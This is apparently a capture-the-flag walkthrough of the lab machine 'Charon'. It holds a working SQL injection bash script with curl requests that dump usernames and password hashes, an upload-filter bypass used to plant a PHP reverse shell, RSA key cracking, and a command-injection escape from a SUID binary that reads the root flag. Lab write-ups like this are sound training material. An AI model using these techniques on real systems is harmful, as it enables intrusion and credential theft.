Charon is a Moderate Linux Machine, where the hacker in order to obtain root, needs to use SQLi, crack RSA private key using unciphered Text, run a binary exploit, …
Starting NMAP “nmap -sC -sV -oA nmap 10.10.10.31”:
┌─[luka@parrot]─[~/Desktop/htb/Charon/nmap] └──╼ $cat nmap.nmap # Nmap 7.70 scan initiated Fri Aug 9 03:54:57 2019 as: nmap -sC -sV -oA nmap 10.10.10.31 Nmap scan report for 10.10.10.31 Host is up (0.032s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 09:c7:fb:a2:4b:53:1a:7a:f3:30:5e:b8:6e:ec:83:ee (RSA) | 256 97:e0:ba:96:17:d4:a1:bb:32:24:f4:e5:15:b4:8a:ec (ECDSA) |_ 256 e8:9e:0b:1c:e7:2d:b6:c9:68:46:7c:b3:32:ea:e9:ef (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Frozen Yogurt Shop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Aug 9 03:55:11 2019 -- 1 IP address (1 host up) scanned in 13.99 seconds
Upon checking the output it is pretty straightforward what to check – the web server on port 80.
Before checking the website it is recommended to start Burp (interception may be off) and setting the browser to connect through the burp proxy. Burp will build kind of a site map and record requests and responses that were sent to or from the server
According to the Logo (just an image), the webpage is using SuperCMS
┌─[luka@parrot]─[~/Desktop/htb/Charon/nmap] └──╼ $/home/luka/tools/gobuster/gobuster -u http://10.10.10.31 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x php ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.31/ [+] Threads : 10 [+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php [+] Timeout : 10s ===================================================== 2019/08/09 07:18:08 Starting gobuster ===================================================== /images (Status: 301) /css (Status: 301) /js (Status: 301) /include (Status: 301) /fonts (Status: 301) /cmsdata (Status: 301) ===================================================== 2019/08/09 07:26:34 Finished =====================================================
… and again in the /cmsdata directory:
Gobuster recieves two responses back with status code 200. We can check these in browser. The login.php it’s – like the name states – the login page and forget.php is a page for password renewal.
There are few rabbit holes here. The main problem (but let say its a good thing 😉 since we have to do it manually) is that sqlmap doesn’t find any parametres that would be vulnerable to SQLi. But checking and testing parametres manually, makes it will be pretty obvious if you hit the “email” parameter with a single quote at http://10.10.10.31/cmsdata/forgot.php
The “email” parameter is vulnerable to the UNION injection. There is also some blacklisting active on the web server side, that is why some characters have to be randomized.
To move across columns, we can just adjust the “OFFSET” in the SQL query.
I used Bash script to do that automatically
And one to read __username_ and __password_ columns
┌─[luka@parrot]─[~/Desktop/htb/Charon] └──╼ $cat userpw.bash.sh #!/bin/bash for i in $(seq 0 300);do payload="email@example.com' UNiON ALL SELECT 1,2,3,CONCAT(__username_,':',__password_,':','@asd.de') FROM supercms.operators LIMIT 1 OFFSET $i; -- -" #echo "$payload" curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep h2 done ┌─[luka@parrot]─[~/Desktop/htb/Charon] └──╼ $./userpw.bash.sh <h2> Email sent to: test1:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test2:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test3:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test4:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test5:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test6:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test7:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test8:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test9:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test10:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test11:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 .... <h2> Email sent to: test199:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: test200:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2 <h2> Email sent to: super_cms_adm:0b0689ba94f94533400f4decd87fa260:@asd.de=>2 <h2> Email sent to: decoder:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2
At the end of the output, there will be two other users shown, super_cms_adm and decoder which has the same password , so only super_cms_adm seems right and indeed – it is used to access http://10.10.10.31/cmsdata/forgot.php
Now it would be again a good idea to check the website while having Burp running in the background. On the /cmsdata/Upload.php we can notice a commented input HTML field.
You can modify response to activate this field, or modify request while sending the request to the web server. I’ve just copied the input field, pasted it in by using Firefox Inspector.
Now we can upload a shell. I’ve added the magic byte and an jpg. suffix, to bypass any upload security controls there. (I used php-reverse-shell.php from pentestmonkey. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
There is some weird input field that just needs to get uncommented and it’s name base64 decoded (and renamed to testfile1). Otherwise it will upload jpg instead .php. Really weird but hey – its an CTF.
Uncomenting the field will do. My reverse shell file was uploaded
… and i’ve got shell
I used wget on the client and python -m SimpleHTTPServer on the server side to transfer the enumeration script linpe.sh which i didn’t use since i’ve noticed two interesting files. I’ve just put 755 rights to it, to be able to run it with different user…
Two interesting/unusual files can be found in the /home/decoder directory.
In both files, we can find the Public key and some unciphered text.
Luckily there is a tool to create the private key out of the two files above. It is worth mentioning that the keys are weak. You can notice that the length is much shorter as usually seen these days.
RsaCTFTool can be downloaded here: https://github.com/Ganapati/RsaCtfTool.git
To transfer the filesto the Attacker machine, they need to be base64 encoded first.
I get the password returned, although it seems to have some weird characters in it. It can be read though – nevermindthebollocks seems to be the password.
┌─[✗]─[luka@parrot]─[~/Desktop/htb/Charon/privesc/decrypt] └──╼ $/home/luka/tools/RsaCtfTool/RsaCtfTool.py --publickey ./decoder.pub --uncipherfile ./pass.crypt [+] Clear text : b'\x00\x02\x11\x96\xa91\xfb\x13\xd46\xba\x00nevermindthebollocks'
SSH authentication worked. (User flag can be read)
I’ve ran linpe.sh again. What has caught my eye was a SUID bit set on a weird file.
decoder@charon:/tmp$ find / -perm -4000 2>/dev/null /usr/local/bin/supershell
Unfortunately no command seems to work with the file. and it is a 64-bit Executable.
decoder@charon:/tmp$ supershell ls Supershell (very beta) decoder@charon:/tmp$ supershell id Supershell (very beta) decoder@charon:/tmp$ supershell ls -la Supershell (very beta) usage: supershell <cmd> decoder@charon:/tmp$ supershell "ls -la" Supershell (very beta) decoder@charon:/tmp$ file /usr/local/bin/supershell /usr/local/bin/supershell: setuid ELF 64-bit LSB executable, x86-64, versi
There is no gdb installed on the Charon system, that is why i transfered the file to the attacker machine, simply by using nc.
To analize the binary i used radare2 (can be run just by typing r2)
I pressed p afterwards to change the panel. (There is also IDA-pro tool out there that can do similar visualizations. This can make you understand the logic better.)
The important part is here. String will be compared if contains /bin/ls.
And indeed, if we run the supershell program with /bin/ls, it is indeed being run.
decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /root" Supershell (very beta) ++[/bin/ls /root] root.txt
,To escape the ls, we can run the commands in the subshell = $(command). It’s basically a shell ran in a subprocess. The command will be passed to supershell program and executed against ls. Output won’t be the pretiest but it will work. In the following example, the root will be returned, for which directory can be found.
decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /\$(whoami)" Supershell (very beta) ++[/bin/ls /$(whoami)] root.txt
root.txt can be read
decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /\$(cat /root/root.txt)" │ Supershell (very beta) │ ++[/bin/ls /$(cat /root/root.txt)] │ /bin/ls: cannot access '/c59a840463acc6ca14f6599721c9c18e': No such file or directory
To get root i ran the standard C compiled binary. which sets uid und gid to 0 if ran by root (or with SUID bit set). First it was compiled using gcc (on the Charon machine).
Then all that needs to be done is, set the owner to root:root and set SUID bit on the binary. Then just run and root shell has to pop up.